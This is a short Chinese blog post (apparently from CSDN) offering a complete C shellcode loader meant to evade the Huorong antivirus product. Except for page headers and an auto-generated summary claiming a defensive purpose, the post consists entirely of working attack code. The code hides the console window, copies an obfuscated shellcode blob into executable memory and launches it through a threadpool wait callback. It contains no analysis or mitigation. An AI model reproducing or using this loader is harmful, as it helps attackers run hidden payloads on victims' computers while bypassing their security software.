过某绒shellcode加载器

最新推荐文章于 2024-09-16 23:17:14 发布

啊哈灬再现江湖

最新推荐文章于 2024-09-16 23:17:14 发布

阅读量146

点赞数 1

分类专栏：渗透测试与C/C++开发文章标签：网络安全安全系统安全 web安全 Powered by 金山文档

本文链接：https://blog.csdn.net/jiopkd1/article/details/128764353

版权

渗透测试与C/C++开发专栏收录该内容

2 篇文章 0 订阅

订阅专栏

本文详细解析了某绒shellcode加载器的工作原理及其在网络与系统安全中的应用，揭示了其在web安全领域的潜在威胁。通过对shellcode加载过程的分析，读者将能更好地理解和预防此类安全风险。

摘要由CSDN通过智能技术生成

#include<stdio.h>
#include<Windows.h>

unsigned char shellcode[] =
"\xb8\xd6\x0d\xd3\xd9\xda\xce\xd9\x74\x24\xf4\x5a\x33\xc9\xb1"
"\x61\x31\x42\x15\x83\xc2\x04\x03\x42\x11\xe2\x23\xd4\x1d\x63"
"\xa1\x68\x7c\xd1\xec\x03\x5b\x2e\x53\xc7\x6a\x7f\x30\x26\x38"
"\x97\x45\x8d\xc6\x94\x76\x92\xf8\x2a\xec\xcf\x60\x04\x52\x91"
"\x4e\xe4\xfa\x40\x43\x3f\x7f\x5a\x09\xc3\x29\x53\xa3\xde\xdd"
"\x46\xca\xef\xaf\xb1\x05\x3a\xc7\xf2\xe2\x68\x91\xf5\x5d\xbc"
"\xb0\xe1\x92\xac\x30\x8a\xb0\x66\x7f\x85\x52\x4d\xe0\xf4\x75"
"\xea\x54\xbf\x23\xe8\x7a\xe7\x8c\x4d\x44\x54\x5d\x0f\xd3\x7d"
"\xcf\x8e\xa2\xc3\xb9\x80\xca\x57\x5b\xa8\x1a\xdc\xc4\xee\xc0"
"\x43\xe4\x56\x6c\xaf\xe2\x4d\x89\x2a\x06\x29\xea\x52\x59\x46"
"\x1c\xdb\x2b\xf5\x6d\x02\x02\x94\x46\x88\xb0\x95\x1c\xa2\xed"
"\xeb\x89\xe0\x4c\x79\x64\xe1\x71\x0b\x1c\xf4\x36\x11\xa3\xd5"
"\x2e\xb6\x7e\xdb\x11\xcc\xf5\xa0\x4c\x01\x38\x36\x33\x9f\x2b"
"\x76\x79\x5f\x17\xaa\x5f\x85\x4f\xe9\x52\xe2\x29\x22\x4f\x6d"
"\x2e\xde\x1a\x79\x80\x5f\x85\x9f\x2d\xb1\x82\x63\xc7\x5d\xca"
"\x0d\xf2\xb3\xc7\x48\x48\x50\x10\x2c\x20\x3a\xba\x53\xc5\xb2"
"\x5d\xfc\x6d\xca\x60\x99\x8b\xca\x34\xb6\xec\x01\x69\xf9\x80"
"\x7f\x2a\xed\x64\xc7\xcb\x24\x47\x36\xd9\x2f\xc7\x37\x52\x69"
"\x72\x97\x07\x9c\xfe\xa0\x1c\x01\xd1\xed\x25\xb8\x93\x60\xce"
"\x1b\x46\xc6\xfa\xa8\x39\x68\x5f\xfa\x0e\x59\x5d\xd5\x77\xc6"
"\xcc\xf8\x44\x48\x08\x96\xd5\xa1\x59\xdc\x16\xbf\x65\xcf\x9d"
"\x8f\x83\xd7\xe1\xb3\x25\x7d\xee\x2a\x50\xd1\x68\x29\x31\x20"
"\x71\xba\xdd\x96\xad\x8c\x64\x48\x0e\xf6\x42\x0d\x39\x12\xbb"
"\xc9\x72\xe6\x3e\x39\x96\x95\x8e\x1f\x27\xcd\x6d\x5b\xc8\x54"
"\xc1\x50\x23\x9b\x2e\x92\xd8\xb1\x5c\x0d\x67\x5d\x36\x20\x9f"
"\xce\x1c\x65\xf1\x6c\xcc\x8a\x73\xe0\x30\xf3\x2c\x98\x49\x85"
"\x88\x6e\x3a\x2a\xba\xdb\x06\xde\x3b\x16\x39\x3d\x56\x53\x3e"
"\xec\x86\xa5\xc8\x3f\x4d\x85\x23\xef";

int main()
{
    HWND hDos; //声明窗口句柄变量

    hDos = GetForegroundWindow(); //得到窗口句柄

    ShowWindow(hDos, SW_HIDE); //隐藏窗口
    HANDLE event = CreateEvent(NULL, FALSE, TRUE, NULL);
    Sleep(100);
    LPVOID shellcodeAddress = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    RtlMoveMemory(shellcodeAddress, shellcode, sizeof(shellcode));
    Sleep(100);
    PTP_WAIT threadPoolWait = CreateThreadpoolWait((PTP_WAIT_CALLBACK)shellcodeAddress, NULL, NULL);
    SetThreadpoolWait(threadPoolWait, event, NULL);
    Sleep(1000);
    WaitForSingleObject(event, INFINITE);
    return 0;
}